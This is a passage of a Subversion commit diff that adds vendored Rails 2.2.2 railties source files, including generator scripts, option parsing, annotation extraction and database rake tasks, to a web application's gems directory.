+          end
+        end
+
+        def default_options(options = nil)
+          if options
+            write_inheritable_attribute(:default_options, options)
+          else
+            read_inheritable_attribute(:default_options) or write_inheritable_attribute(:default_options, {})
+          end
+        end
+
+        # Merge together our class options.  In increasing precedence:
+        #   default_options   (class default options)
+        #   runtime_options   (provided as argument)
+        #   mandatory_options (class mandatory options)
+        def full_options(runtime_options = {})
+          default_options.merge(runtime_options).merge(mandatory_options)
+        end
+
+      end
+
+      # Each instance has an options hash that's populated by #parse.
+      def options
+        @options ||= {}
+      end
+      attr_writer :options
+
+      protected
+        # Convenient access to class mandatory options.
+        def mandatory_options
+          self.class.mandatory_options
+        end
+
+        # Convenient access to class default options.
+        def default_options
+          self.class.default_options
+        end
+
+        # Merge together our instance options.  In increasing precedence:
+        #   default_options   (class default options)
+        #   options           (instance options)
+        #   runtime_options   (provided as argument)
+        #   mandatory_options (class mandatory options)
+        def full_options(runtime_options = {})
+          self.class.full_options(options.merge(runtime_options))
+        end
+
+        # Parse arguments into the options hash.  Classes may customize
+        # parsing behavior by overriding these methods:
+        #   #banner                 Usage: ./script/generate [options]
+        #   #add_options!           Options:
+        #                             some options..
+        #   #add_general_options!   General Options:
+        #                             general options..
+        def parse!(args, runtime_options = {})
+          self.options = {}
+
+          @option_parser = OptionParser.new do |opt|
+            opt.banner = banner
+            add_options!(opt)
+            add_general_options!(opt)
+            opt.parse!(args)
+          end
+
+          return args
+        ensure
+          self.options = full_options(runtime_options)
+        end
+
+        # Raise a usage error.  Override usage_message to provide a blurb
+        # after the option parser summary.
+        def usage(message = usage_message)
+          raise UsageError, "#{@option_parser}\n#{message}"
+        end
+
+        def usage_message
+          ''
+        end
+
+        # Override with your own usage banner.
+        def banner
+          "Usage: #{$0} [options]"
+        end
+
+        # Override to add your options to the parser:
+        #   def add_options!(opt)
+        #     opt.on('-v', '--verbose') { |value| options[:verbose] = value }
+        #   end
+        def add_options!(opt)
+        end
+
+        # Adds general options like -h and --quiet.  Usually don't override.
+        def add_general_options!(opt)
+          opt.separator ''
+          opt.separator 'Rails Info:'
+          opt.on('-v', '--version', 'Show the Rails version number and quit.')
+          opt.on('-h', '--help', 'Show this help message and quit.') { |v| options[:help] = v }
+
+          opt.separator ''
+          opt.separator 'General Options:'
+
+          opt.on('-p', '--pretend', 'Run but do not make any changes.') { |v| options[:pretend] = v }
+          opt.on('-f', '--force', 'Overwrite files that already exist.') { options[:collision] = :force }
+          opt.on('-s', '--skip', 'Skip files that already exist.') { options[:collision] = :skip }
+          opt.on('-q', '--quiet', 'Suppress normal output.') { |v| options[:quiet] = v }
+          opt.on('-t', '--backtrace', 'Debugging: show backtrace on errors.') { |v| options[:backtrace] = v }
+          opt.on('-c', '--svn', 'Modify files with subversion. (Note: svn must be in path)') do
+            options[:svn] = `svn status`.inject({}) do |opt, e|
+              opt[e.chomp[7..-1]] = true
+              opt
+            end
+          end
+          opt.on('-g', '--git', 'Modify files with git. (Note: git must be in path)') do
+            options[:git] = `git status`.inject({:new => {}, :modified => {}}) do |opt, e|
+              opt[:new][e.chomp[14..-1]] = true if e =~ /new file:/
+              opt[:modified][e.chomp[14..-1]] = true if e =~ /modified:/
+              opt
+            end
+          end
+        end
+
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts/destroy.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts/destroy.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts/destroy.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,29 @@
+require File.dirname(__FILE__) + '/../scripts'
+
+module Rails::Generator::Scripts
+  class Destroy < Base
+    mandatory_options :command => :destroy
+
+    protected
+    def usage_message
+      usage = "\nInstalled Generators\n"
+      Rails::Generator::Base.sources.each do |source|
+        label = source.label.to_s.capitalize
+        names = source.names
+        usage << "  #{label}: #{names.join(', ')}\n" unless names.empty?
+      end
+
+      usage << <<end_blurb
+
+script/generate command. For instance, 'script/destroy migration CreatePost'
+will delete the appropriate XXX_create_post.rb migration file in db/migrate,
+while 'script/destroy scaffold Post' will delete the posts controller and
+views, post model and migration, all associated tests, and the map.resources
+:posts line in config/routes.rb.
+
+For instructions on finding new generators, run script/generate.
+end_blurb
+      return usage
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts/generate.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts/generate.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts/generate.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+require File.dirname(__FILE__) + '/../scripts'
+
+module Rails::Generator::Scripts
+  class Generate < Base
+    mandatory_options :command => :create
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts/update.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts/update.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts/update.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+require File.dirname(__FILE__) + '/../scripts'
+
+module Rails::Generator::Scripts
+  class Update < Base
+    mandatory_options :command => :update
+
+    protected
+      def banner
+        "Usage: #{$0} [options] scaffold"
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,89 @@
+require File.dirname(__FILE__) + '/options'
+
+module Rails
+  module Generator
+    module Scripts
+
+      # Generator scripts handle command-line invocation.  Each script
+      # responds to an invoke! class method which handles option parsing
+      # and generator invocation.
+      class Base
+        include Options
+        default_options :collision => :ask, :quiet => false
+
+        # Run the generator script.  Takes an array of unparsed arguments
+        # and a hash of parsed arguments, takes the generator as an option
+        # or first remaining argument, and invokes the requested command.
+        def run(args = [], runtime_options = {})
+          begin
+            parse!(args.dup, runtime_options)
+          rescue OptionParser::InvalidOption => e
+            # Don't cry, script. Generators want what you think is invalid.
+          end
+
+          # Generator name is the only required option.
+          unless options[:generator]
+            usage if args.empty?
+            options[:generator] ||= args.shift
+          end
+
+          # Look up generator instance and invoke command on it.
+          Rails::Generator::Base.instance(options[:generator], args, options).command(options[:command]).invoke!
+        rescue => e
+          puts e
+          puts "  #{e.backtrace.join("\n  ")}\n" if options[:backtrace]
+          raise SystemExit
+        end
+
+        protected
+          # Override with your own script usage banner.
+          def banner
+            "Usage: #{$0} generator [options] [args]"
+          end
+
+          def usage_message
+            usage = "\nInstalled Generators\n"
+            Rails::Generator::Base.sources.inject([]) do |mem, source|
+              # Using an association list instead of a hash to preserve order,
+              # for aesthetic reasons more than anything else.
+              label = source.label.to_s.capitalize
+              pair = mem.assoc(label)
+              mem << (pair = [label, []]) if pair.nil?
+              pair[1] |= source.names
+              mem
+            end.each do |label, names|
+              usage << "  #{label}: #{names.join(', ')}\n" unless names.empty?
+            end
+
+            usage << <<end_blurb
+
+More are available at http://wiki.rubyonrails.org/rails/pages/AvailableGenerators
+  1. Download, for example, login_generator.zip
+  2. Unzip to directory #{Dir.user_home}/.rails/generators/login
+     to use the generator with all your Rails apps
+end_blurb
+
+            if Object.const_defined?(:RAILS_ROOT)
+              usage << <<end_blurb
+     or to #{File.expand_path(RAILS_ROOT)}/lib/generators/login
+     to use with this app only.
+end_blurb
+            end
+
+            usage << <<end_blurb
+  3. Run generate with no arguments for usage information
+       #{$0} login
+
+Generator gems are also available:
+  1. gem search -r generator
+  2. gem install login_generator
+  3. #{$0} login
+
+end_blurb
+            return usage
+          end
+      end # Base
+
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/secret_key_generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/secret_key_generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/secret_key_generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,22 @@
+module Rails
+  # A class for creating random secret keys. This class will do its best to create a
+  # random secret key that's as secure as possible, using whatever methods are
+  # available on the current platform. For example:
+  #
+  #   generator = Rails::SecretKeyGenerator("some unique identifier, such as the application name")
+  #   generator.generate_secret     # => "f3f1be90053fa851... (some long string)"
+  #
+  # This class is *deprecated* in Rails 2.2 in favor of ActiveSupport::SecureRandom.
+  # It is currently a wrapper around ActiveSupport::SecureRandom.
+  class SecretKeyGenerator
+    def initialize(identifier)
+    end
+
+    # Generate a random secret key with the best possible method available on
+    # the current platform.
+    def generate_secret
+      ActiveSupport::SecureRandom.hex(64)
+    end
+    deprecate :generate_secret=>"You should use ActiveSupport::SecureRandom.hex(64)"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/simple_logger.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/simple_logger.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/simple_logger.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,46 @@
+module Rails
+  module Generator
+    class SimpleLogger # :nodoc:
+      attr_reader :out
+      attr_accessor :quiet
+
+      def initialize(out = $stdout)
+        @out = out
+        @quiet = false
+        @level = 0
+      end
+
+      def log(status, message, &block)
+        @out.print("%12s  %s%s\n" % [status, '  ' * @level, message]) unless quiet
+        indent(&block) if block_given?
+      end
+
+      def indent(&block)
+        @level += 1
+        if block_given?
+          begin
+            block.call
+          ensure
+            outdent
+          end
+        end
+      end
+
+      def outdent
+        @level -= 1
+        if block_given?
+          begin
+            block.call
+          ensure
+            indent
+          end
+        end
+      end
+
+      private
+        def method_missing(method, *args, &block)
+          log(method.to_s, args.first, &block)
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/spec.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/spec.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/spec.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,44 @@
+module Rails
+  module Generator
+    # A spec knows where a generator was found and how to instantiate it.
+    # Metadata include the generator's name, its base path, and the source
+    # which yielded it (PathSource, GemPathSource, etc.)
+    class Spec
+      attr_reader :name, :path, :source
+
+      def initialize(name, path, source)
+        @name, @path, @source = name, path, source
+      end
+
+      # Look up the generator class.  Require its class file, find the class
+      # in ObjectSpace, tag it with this spec, and return.
+      def klass
+        unless @klass
+          require class_file
+          @klass = lookup_class
+          @klass.spec = self
+        end
+        @klass
+      end
+
+      def class_file
+        "#{path}/#{name}_generator.rb"
+      end
+
+      def class_name
+        "#{name.camelize}Generator"
+      end
+
+      private
+        # Search for the first Class descending from Rails::Generator::Base
+        # whose name matches the requested class name.
+        def lookup_class
+          ObjectSpace.each_object(Class) do |obj|
+            return obj if obj.ancestors.include?(Rails::Generator::Base) and
+                          obj.name.split('::').last == class_name
+          end
+          raise NameError, "Missing #{class_name} class in #{class_file}"
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,43 @@
+#--
+# Copyright (c) 2004 Jeremy Kemper
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+$:.unshift(File.dirname(__FILE__))
+$:.unshift(File.dirname(__FILE__) + "/../../activesupport/lib")
+
+begin
+  require 'active_support'  
+rescue LoadError
+  require 'rubygems'
+  gem 'activesupport'
+end
+
+require 'rails_generator/base'
+require 'rails_generator/lookup'
+require 'rails_generator/commands'
+
+Rails::Generator::Base.send(:include, Rails::Generator::Lookup)
+Rails::Generator::Base.send(:include, Rails::Generator::Commands)
+
+# Set up a default logger for convenience.
+require 'rails_generator/simple_logger'
+Rails::Generator::Base.logger = Rails::Generator::SimpleLogger.new(STDOUT)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/railties_path.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/railties_path.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/railties_path.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+RAILTIES_PATH = File.join(File.dirname(__FILE__), '..')

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/ruby_version_check.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/ruby_version_check.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/ruby_version_check.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+min_release  = "1.8.2 (2004-12-25)"
+ruby_release = "#{RUBY_VERSION} (#{RUBY_RELEASE_DATE})"
+if ruby_release =~ /1\.8\.3/
+  abort <<-end_message
+
+    Rails does not work with Ruby version 1.8.3.
+    Please upgrade to version 1.8.4 or downgrade to 1.8.2.
+
+  end_message
+elsif ruby_release < min_release
+  abort <<-end_message
+
+    Rails requires Ruby version #{min_release} or later.
+    You're running #{ruby_release}; please upgrade to continue.
+
+  end_message
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rubyprof_ext.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rubyprof_ext.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rubyprof_ext.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+require 'prof'
+
+module Prof #:nodoc:
+  # Adapted from Shugo Maeda's unprof.rb
+  def self.print_profile(results, io = $stderr)
+    total = results.detect { |i|
+      i.method_class.nil? && i.method_id == :"#toplevel"
+    }.total_time
+    total = 0.001 if total < 0.001
+
+    io.puts "  %%   cumulative   self              self     total"
+    io.puts " time   seconds   seconds    calls  ms/call  ms/call  name"
+
+    sum = 0.0
+    for r in results
+      sum += r.self_time
+
+      name =  if r.method_class.nil?
+                r.method_id.to_s
+              elsif r.method_class.is_a?(Class)
+                "#{r.method_class}##{r.method_id}"
+              else
+                "#{r.method_class}.#{r.method_id}"
+              end
+      io.printf "%6.2f %8.3f  %8.3f %8d %8.2f %8.2f  %s\n",
+        r.self_time / total * 100,
+        sum,
+        r.self_time,
+        r.count,
+        r.self_time * 1000 / r.count,
+        r.total_time * 1000 / r.count,
+        name
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/source_annotation_extractor.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/source_annotation_extractor.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/source_annotation_extractor.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,102 @@
+# Implements the logic behind the rake tasks for annotations like
+#
+#   rake notes
+#   rake notes:optimize
+#
+# and friends. See <tt>rake -T notes</tt> and <tt>railties/lib/tasks/annotations.rake</tt>.
+#
+# Annotation objects are triplets <tt>:line</tt>, <tt>:tag</tt>, <tt>:text</tt> that
+# represent the line where the annotation lives, its tag, and its text. Note
+# the filename is not stored.
+#
+# Annotations are looked for in comments and modulus whitespace they have to
+# start with the tag optionally followed by a colon. Everything up to the end
+# of the line (or closing ERb comment tag) is considered to be their text.
+class SourceAnnotationExtractor
+  class Annotation < Struct.new(:line, :tag, :text)
+
+    # Returns a representation of the annotation that looks like this:
+    #
+    #   [126] [TODO] This algorithm is simple and clearly correct, make it faster.
+    #
+    # If +options+ has a flag <tt>:tag</tt> the tag is shown as in the example above.
+    # Otherwise the string contains just line and text.
+    def to_s(options={})
+      s = "[%3d] " % line
+      s << "[#{tag}] " if options[:tag]
+      s << text
+    end
+  end
+
+  # Prints all annotations with tag +tag+ under the root directories +app+, +lib+,
+  # and +test+ (recursively). Only filenames with extension +.builder+, +.rb+,
+  # +.rxml+, +.rjs+, +.rhtml+, or +.erb+ are taken into account. The +options+
+  # hash is passed to each annotation's +to_s+.
+  #
+  # This class method is the single entry point for the rake tasks.
+  def self.enumerate(tag, options={})
+    extractor = new(tag)
+    extractor.display(extractor.find, options)
+  end
+
+  attr_reader :tag
+
+  def initialize(tag)
+    @tag = tag
+  end
+
+  # Returns a hash that maps filenames under +dirs+ (recursively) to arrays
+  # with their annotations. Only files with annotations are included, and only
+  # those with extension +.builder+, +.rb+, +.rxml+, +.rjs+, +.rhtml+, and +.erb+
+  # are taken into account.
+  def find(dirs=%w(app lib test))
+    dirs.inject({}) { |h, dir| h.update(find_in(dir)) }
+  end
+
+  # Returns a hash that maps filenames under +dir+ (recursively) to arrays
+  # with their annotations. Only files with annotations are included, and only
+  # those with extension +.builder+, +.rb+, +.rxml+, +.rjs+, +.rhtml+, and +.erb+
+  # are taken into account.
+  def find_in(dir)
+    results = {}
+
+    Dir.glob("#{dir}/*") do |item|
+      next if File.basename(item)[0] == ?.
+
+      if File.directory?(item)
+        results.update(find_in(item))
+      elsif item =~ /\.(builder|(r(?:b|xml|js)))$/
+        results.update(extract_annotations_from(item, /#\s*(#{tag}):?\s*(.*)$/))
+      elsif item =~ /\.(rhtml|erb)$/
+        results.update(extract_annotations_from(item, /<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/))
+      end
+    end
+
+    results
+  end
+
+  # If +file+ is the filename of a file that contains annotations this method returns
+  # a hash with a single entry that maps +file+ to an array of its annotations.
+  # Otherwise it returns an empty hash.
+  def extract_annotations_from(file, pattern)
+    lineno = 0
+    result = File.readlines(file).inject([]) do |list, line|
+      lineno += 1
+      next list unless line =~ pattern
+      list << Annotation.new(lineno, $1, $2)
+    end
+    result.empty? ? {} : { file => result }
+  end
+
+  # Prints the mapping from filenames to annotations in +results+ ordered by filename.
+  # The +options+ hash is passed to each annotation's +to_s+.
+  def display(results, options={})
+    results.keys.sort.each do |file|
+      puts "#{file}:"
+      results[file].each do |note|
+        puts "  * #{note.to_s(options)}"
+      end
+      puts
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/annotations.rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/annotations.rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/annotations.rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+require 'source_annotation_extractor'
+
+desc "Enumerate all annotations"
+task :notes do
+  SourceAnnotationExtractor.enumerate "OPTIMIZE|FIXME|TODO", :tag => true
+end
+
+namespace :notes do
+  ["OPTIMIZE", "FIXME", "TODO"].each do |annotation|
+    desc "Enumerate all #{annotation} annotations"
+    task annotation.downcase.intern do
+      SourceAnnotationExtractor.enumerate annotation
+    end
+  end
+
+  desc "Enumerate a custom annotation, specify with ANNOTATION=WTFHAX"
+  task :custom do
+    SourceAnnotationExtractor.enumerate ENV['ANNOTATION']
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/databases.rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/databases.rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/databases.rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,416 @@
+namespace :db do
+  namespace :create do
+    desc 'Create all the local databases defined in config/database.yml'
+    task :all => :environment do
+      ActiveRecord::Base.configurations.each_value do |config|
+        # Skip entries that don't have a database key, such as the first entry here:
+        #
+        #  defaults: &defaults
+        #    adapter: mysql
+        #    username: root
+        #    password:
+        #    host: localhost
+        #
+        #  development:
+        #    database: blog_development
+        #    <<: *defaults
+        next unless config['database']
+        # Only connect to local databases
+        local_database?(config) { create_database(config) }
+      end
+    end
+  end
+
+  desc 'Create the database defined in config/database.yml for the current RAILS_ENV'
+  task :create => :environment do
+    create_database(ActiveRecord::Base.configurations[RAILS_ENV])
+  end
+
+  def create_database(config)
+    begin
+      if config['adapter'] =~ /sqlite/
+        if File.exist?(config['database'])
+          $stderr.puts "#{config['database']} already exists"
+        else
+          begin
+            # Create the SQLite database
+            ActiveRecord::Base.establish_connection(config)
+            ActiveRecord::Base.connection
+          rescue
+            $stderr.puts $!, *($!.backtrace)
+            $stderr.puts "Couldn't create database for #{config.inspect}"
+          end
+        end
+        return # Skip the else clause of begin/rescue    
+      else
+        ActiveRecord::Base.establish_connection(config)
+        ActiveRecord::Base.connection
+      end
+    rescue
+      case config['adapter']
+      when 'mysql'
+        @charset   = ENV['CHARSET']   || 'utf8'
+        @collation = ENV['COLLATION'] || 'utf8_general_ci'
+        begin
+          ActiveRecord::Base.establish_connection(config.merge('database' => nil))
+          ActiveRecord::Base.connection.create_database(config['database'], :charset => (config['charset'] || @charset), :collation => (config['collation'] || @collation))
+          ActiveRecord::Base.establish_connection(config)
+        rescue
+          $stderr.puts "Couldn't create database for #{config.inspect}, charset: #{config['charset'] || @charset}, collation: #{config['collation'] || @collation} (if you set the charset manually, make sure you have a matching collation)"
+        end
+      when 'postgresql'
+        @encoding = config[:encoding] || ENV['CHARSET'] || 'utf8'
+        begin
+          ActiveRecord::Base.establish_connection(config.merge('database' => 'postgres', 'schema_search_path' => 'public'))
+          ActiveRecord::Base.connection.create_database(config['database'], config.merge('encoding' => @encoding))
+          ActiveRecord::Base.establish_connection(config)
+        rescue
+          $stderr.puts $!, *($!.backtrace)
+          $stderr.puts "Couldn't create database for #{config.inspect}"
+        end
+      end
+    else
+      $stderr.puts "#{config['database']} already exists"
+    end
+  end
+
+  namespace :drop do
+    desc 'Drops all the local databases defined in config/database.yml'
+    task :all => :environment do
+      ActiveRecord::Base.configurations.each_value do |config|
+        # Skip entries that don't have a database key
+        next unless config['database']
+        # Only connect to local databases
+        local_database?(config) { drop_database(config) }
+      end
+    end
+  end
+
+  desc 'Drops the database for the current RAILS_ENV'
+  task :drop => :environment do
+    config = ActiveRecord::Base.configurations[RAILS_ENV || 'development']
+    begin
+      drop_database(config)
+    rescue Exception => e
+      puts "Couldn't drop #{config['database']} : #{e.inspect}"
+    end
+  end
+
+  def local_database?(config, &block)
+    if %w( 127.0.0.1 localhost ).include?(config['host']) || config['host'].blank?
+      yield
+    else
+      puts "This task only modifies local databases. #{config['database']} is on a remote host."
+    end
+  end
+
+
+  desc "Migrate the database through scripts in db/migrate. Target specific version with VERSION=x. Turn off output with VERBOSE=false."
+  task :migrate => :environment do
+    ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
+    ActiveRecord::Migrator.migrate("db/migrate/", ENV["VERSION"] ? ENV["VERSION"].to_i : nil)
+    Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
+  end
+
+  namespace :migrate do
+    desc  'Rollbacks the database one migration and re migrate up. If you want to rollback more than one step, define STEP=x. Target specific version with VERSION=x.'
+    task :redo => :environment do
+      if ENV["VERSION"]
+        Rake::Task["db:migrate:down"].invoke
+        Rake::Task["db:migrate:up"].invoke
+      else
+        Rake::Task["db:rollback"].invoke
+        Rake::Task["db:migrate"].invoke
+      end
+    end
+
+    desc 'Resets your database using your migrations for the current environment'
+    task :reset => ["db:drop", "db:create", "db:migrate"]
+
+    desc 'Runs the "up" for a given migration VERSION.'
+    task :up => :environment do
+      version = ENV["VERSION"] ? ENV["VERSION"].to_i : nil
+      raise "VERSION is required" unless version
+      ActiveRecord::Migrator.run(:up, "db/migrate/", version)
+      Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
+    end
+
+    desc 'Runs the "down" for a given migration VERSION.'
+    task :down => :environment do
+      version = ENV["VERSION"] ? ENV["VERSION"].to_i : nil
+      raise "VERSION is required" unless version
+      ActiveRecord::Migrator.run(:down, "db/migrate/", version)
+      Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
+    end
+  end
+
+  desc 'Rolls the schema back to the previous version. Specify the number of steps with STEP=n'
+  task :rollback => :environment do
+    step = ENV['STEP'] ? ENV['STEP'].to_i : 1
+    ActiveRecord::Migrator.rollback('db/migrate/', step)
+    Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
+  end
+
+  desc 'Drops and recreates the database from db/schema.rb for the current environment.'
+  task :reset => ['db:drop', 'db:create', 'db:schema:load']
+
+  desc "Retrieves the charset for the current environment's database"
+  task :charset => :environment do
+    config = ActiveRecord::Base.configurations[RAILS_ENV || 'development']
+    case config['adapter']
+    when 'mysql'
+      ActiveRecord::Base.establish_connection(config)
+      puts ActiveRecord::Base.connection.charset
+    when 'postgresql'
+      ActiveRecord::Base.establish_connection(config)
+      puts ActiveRecord::Base.connection.encoding
+    else
+      puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
+    end
+  end
+
+  desc "Retrieves the collation for the current environment's database"
+  task :collation => :environment do
+    config = ActiveRecord::Base.configurations[RAILS_ENV || 'development']
+    case config['adapter']
+    when 'mysql'
+      ActiveRecord::Base.establish_connection(config)
+      puts ActiveRecord::Base.connection.collation
+    else
+      puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
+    end
+  end
+
+  desc "Retrieves the current schema version number"
+  task :version => :environment do
+    puts "Current version: #{ActiveRecord::Migrator.current_version}"
+  end
+
+  desc "Raises an error if there are pending migrations"
+  task :abort_if_pending_migrations => :environment do
+    if defined? ActiveRecord
+      pending_migrations = ActiveRecord::Migrator.new(:up, 'db/migrate').pending_migrations
+
+      if pending_migrations.any?
+        puts "You have #{pending_migrations.size} pending migrations:"
+        pending_migrations.each do |pending_migration|
+          puts '  %4d %s' % [pending_migration.version, pending_migration.name]
+        end
+        abort %{Run "rake db:migrate" to update your database then try again.}
+      end
+    end
+  end
+
+  namespace :fixtures do
+    desc "Load fixtures into the current environment's database.  Load specific fixtures using FIXTURES=x,y. Load from subdirectory in test/fixtures using FIXTURES_DIR=z. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
+    task :load => :environment do
+      require 'active_record/fixtures'
+      ActiveRecord::Base.establish_connection(Rails.env)
+      base_dir = ENV['FIXTURES_PATH'] ? File.join(Rails.root, ENV['FIXTURES_PATH']) : File.join(Rails.root, 'test', 'fixtures')
+      fixtures_dir = ENV['FIXTURES_DIR'] ? File.join(base_dir, ENV['FIXTURES_DIR']) : base_dir
+
+      (ENV['FIXTURES'] ? ENV['FIXTURES'].split(/,/).map {|f| File.join(fixtures_dir, f) } : Dir.glob(File.join(fixtures_dir, '*.{yml,csv}'))).each do |fixture_file|
+        Fixtures.create_fixtures(File.dirname(fixture_file), File.basename(fixture_file, '.*'))
+      end
+    end
+
+    desc "Search for a fixture given a LABEL or ID. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
+    task :identify => :environment do
+      require "active_record/fixtures"
+
+      label, id = ENV["LABEL"], ENV["ID"]
+      raise "LABEL or ID required" if label.blank? && id.blank?
+
